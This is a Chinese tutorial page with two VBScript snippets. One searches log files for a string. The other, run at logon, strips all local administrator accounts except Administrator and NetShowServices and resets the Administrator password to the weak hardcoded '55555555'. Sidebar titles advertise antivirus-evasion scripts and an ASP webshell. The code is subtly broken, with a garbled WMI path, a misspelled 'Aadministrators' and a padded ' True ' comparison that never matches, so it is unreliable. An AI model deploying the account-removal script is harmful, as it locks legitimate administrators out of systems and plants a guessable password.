当前位置: 首页 > 图文教程 > 脚本技术 > VBScript > 两个vbs脚本利用了wscirpt.network

VBScript
VBS脚本加密/解密VBS脚本(简易免杀版1.1)
刷QQ群的VBS脚本
vbs屏蔽键盘按键
alpha2 shellcode解密的vbs脚本
非常棒的lcx写的非常规运行vbs
vbs算命测试一下你上辈子是男是女
vbs版的解密base64加密的脚本
更牛的一句话asp木马加密(去掉asp里的%)
用vbs发送带附件的邮件
VBScript开发自动化测试脚本的方法分析
Imail密码加密算法及VBS实现
用vbs判断系统补丁的脚本
管理网卡vbs脚本
用vbs写的短小精悍的字典生成器
把任意文件转成vbs文件的file2vbs的vbs代码
用vbs实现获取电脑硬件信息的脚本_最新版
windows2003一句话开3389的vbs代码
vbs实现无黑框无DOS窗口隐藏批处理运行窗口
vbs输入助手执行会调用好多乱的进程
批量文件查找替换功能的vbs脚本

VBScript 中的 两个vbs脚本利用了wscirpt.network


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-11   浏览: 70 ::
收藏到网摘: n/a

Set objNetwork = CreateObject("Wscript.Network")
strComputer = objNetwork.ComputerName
Const ForReading = 1
Const ForAppending = 8
Dim arrFileLines()
i=0
Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\" & strComputer & " ootcimv2")
Set colFiles = objWMIService.ExecQuery("Select * from CIM_DataFile where Path = '\search\'")
For Each objFile in colFiles
If objFile.Extension = "log" Then
FileName = objFile.Name
Wscript.Echo FileName
End IF
Next
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.OpenTextFile("input.txt",ForReading)
InputLine = objFile.ReadLine
objFile.Close
set objFile = objFSO.OpenTextFile(FileName,ForReading)
Do Until objFile.AtEndOfStream
SearchLine = objFile.ReadLine
If InStr(SearchLine,InputLine) = 0 Then
Else
Redim Preserve arrFileLines(i)
arrFileLines(i) = SearchLine
i=i+1
End If
Loop
objFile.Close
Set objFile = objFSO.OpenTextFile("result.txt", ForAppending)
For l = Ubound(arrFileLines) to LBound(arrFileLines) Step -1
objFile.WriteLine arrFileLines(l)
Next
objFile.Close
//检查Search目录中的特定文件中的特定字符并将结果放入Result.txt中。
Set objNetwork = CreateObject("Wscript.Network")
strComputer = objNetwork.ComputerName
StrUser = objNetwork.Name
StrStat = "False"
Set colGroups = GetObject("WinNT://" & strComputer & "")
colGroups.Filter = Array("group")
For Each objGroup In colGroups
For Each objUser in objGroup.Members
If objUser.name = StrUser Then
If objGroup.Name = "Aadministrators" Then
StrStat = "True"
End If
End If
Next
Next
Set objGroup = GetObject("WinNT://" & strComputer & "/Administrators")
For Each objUser in objGroup.Members
If objUser.Name = "Administrator" OR objUser.Name = "NetShowServices" Then
If objUser.Name = "Administrator" AND StrStat = " True " Then
objUser.SetPassword "55555555"
End If
Else
objGroup.Remove(objUser.ADsPath)
End If
Next
//在用户登陆的时候清除所有的管理员账户,只保留Administrator和NetShowServices,并修改Administrator的密码为55555555